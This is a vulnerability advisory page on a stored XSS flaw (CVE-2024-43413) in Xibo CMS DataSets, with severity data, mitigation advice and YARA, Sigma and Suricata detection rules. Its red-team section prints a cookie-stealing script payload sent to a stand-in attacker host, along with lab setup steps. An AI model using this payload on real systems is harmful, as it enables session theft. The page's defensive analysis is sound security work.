☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-43413

CVE-2024-43413 Cross-Site Scripting in Xibo
📅 PUBLISHED: 2024-09-03 18:52 UTC 🔄 UPDATED: 2026-09-23 20:36 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.28%
👁️
0.28% probability
7.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
3.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-43413 is a stored cross-site scripting (XSS) vulnerability in Xibo, an open-source digital signage platform. The flaw resides in the DataSet functionality, where authorized users can design a DataSet with an HTML column containing JavaScript. This JavaScript is executed on the Data Entry page and in any Layouts referencing the DataSet. While the vendor considers this intended functionality, the behavior has been changed in version 4.1.0 to display HTML/CSS/JS as code on the Data Entry page, effectively mitigating the XSS risk. The CVSS score is 3.5 (Low), and no public exploit code is available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct issue in the Xibo CMS application.

CVSS Breakdown & Threat Level

  • CVSS Score: 3.5 (Low)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: High (requires authorized user with DataSet design permissions)
  • User Interaction: Required (victim must view the Data Entry page or a Layout referencing the DataSet)
  • Scope: Unchanged
  • Confidentiality Impact: Low (potential for data exfiltration via JavaScript)
  • Integrity Impact: Low (potential for content manipulation)
  • Availability Impact: None

The threat level is low due to the requirement for authenticated users and user interaction. However, in a multi-tenant or shared environment, the impact could be higher.

Deep Dive & Mechanics

The vulnerability is a stored XSS in the DataSet functionality of Xibo CMS. The DataSet feature allows authorized users to create custom data structures with various column types, including an "HTML" column. This column type is intended to allow users to embed HTML, CSS, and JavaScript for rich content display. However, the application does not sanitize or escape the content when rendering it on the Data Entry page or in Layouts.

Attack Flow:

  1. An authenticated user with permissions to create or edit DataSets navigates to the DataSet management interface.
  2. The user creates a new DataSet and adds a column of type "HTML".
  3. The user enters malicious JavaScript code (e.g., <script>alert('XSS')</script>) into the HTML column.
  4. When another user (or the same user) views the Data Entry page for that DataSet, the JavaScript executes in their browser.
  5. Additionally, if a Layout (digital signage display) references this DataSet, the JavaScript will execute on the signage player when the Layout is rendered.

The vulnerability is stored because the malicious code is persisted in the database and executed every time the DataSet is viewed.

Vulnerable vs. Patched Code

Vulnerable Code (pre-4.1.0): The application renders the HTML column content directly without sanitization. For example, in a template or view file:

// Vulnerable: directly outputs user-supplied HTML
echo $dataSetRow['html_column'];

Patched Code (4.1.0+): The application now escapes the content to display it as code rather than rendering it. For example:

// Patched: escapes HTML entities to display as code
echo htmlspecialchars($dataSetRow['html_column'], ENT_QUOTES, 'UTF-8');

This change ensures that any HTML, CSS, or JavaScript is shown as plain text on the Data Entry page, preventing execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Access to a Xibo CMS instance (version < 4.1.0)
  • Valid credentials for a user with DataSet creation/edit permissions

Exploitation Steps:

  1. Log in to Xibo CMS as an authorized user.
  2. Navigate to Design > DataSets.
  3. Click Add DataSet and provide a name.
  4. Add a new column with Column Type set to HTML.
  5. In the Default Value or during data entry, insert a malicious payload, e.g.:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  6. Save the DataSet.
  7. Share the Data Entry page link with a victim or embed the DataSet in a Layout.
  8. When the victim views the page, the JavaScript executes, exfiltrating cookies or performing other actions.

Lab Setup:

  • Use Docker to deploy a vulnerable Xibo CMS instance:
    docker run -d -p 80:80 --name xibo-vuln xibo/xibo-cms:4.0.0
    
  • Access http://localhost and complete the installation.
  • Create a user with DataSet permissions and follow the exploitation steps.

Blue Team (Defensive)

Detection:

  • Monitor for unusual DataSet creation or modification events in Xibo logs.
  • Look for HTML columns containing script tags or event handlers (e.g., onload, onerror).
  • Use web application firewalls (WAF) to block common XSS payloads in DataSet content.

Prevention:

  • Upgrade to Xibo CMS 4.1.0 or later.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Enforce strict input validation and output encoding for all user-supplied content.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to attacker-controlled domains from Xibo CMS server or client browsers.
  • File System: Modified DataSet configuration files or database entries containing JavaScript payloads.
  • Logs: Xibo audit logs showing creation of DataSets with HTML columns containing script tags.
  • Database: Entries in the dataset or datasetcolumn tables with colType = 'HTML' and suspicious content.

Example IOC (Database Query):

SELECT * FROM datasetcolumn WHERE colType = 'HTML' AND defaultValue LIKE '%<script>%';

Detection Engineering

YARA Rule

rule CVE_2024_43413_XSS_DataSet {
    meta:
        description = "Detects XSS payloads in Xibo DataSet HTML columns"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-43413"
    strings:
        $xss_payload = /<script[\s>].*<\/script>/i
        $event_handler = /on\w+\s*=\s*['"]?[^'"]*['"]?/i
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: Xibo CMS DataSet XSS Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects creation of DataSets with HTML columns containing XSS payloads in Xibo CMS
author: Valters IT
date: 2024-10-27
logsource:
    product: xibo
    service: audit
detection:
    selection:
        EventID: 'DATASET_ADD' or 'DATASET_EDIT'
        ColumnType: 'HTML'
        Payload|contains: 
            - '<script'
            - 'onload'
            - 'onerror'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in DataSets (pre-4.1.0)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-43413 Xibo CMS DataSet XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/api/dataset"; http_uri; content:"<script"; nocase; within:1000; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade to Xibo CMS version 4.1.0 or later.
  2. If upgrade is not possible, restrict DataSet creation permissions to only trusted users.
  3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in DataSet content.

Long-term Measures:

  • Enforce strict Content Security Policy (CSP) headers.
  • Conduct regular security audits of custom DataSets.
  • Educate users about the risks of embedding untrusted JavaScript.

Patch Details:

  • Upgrade to version 4.1.0, which changes the Data Entry page to display HTML/CSS/JS as code.
  • No official patch for earlier versions; upgrade is the only solution.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-43413/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.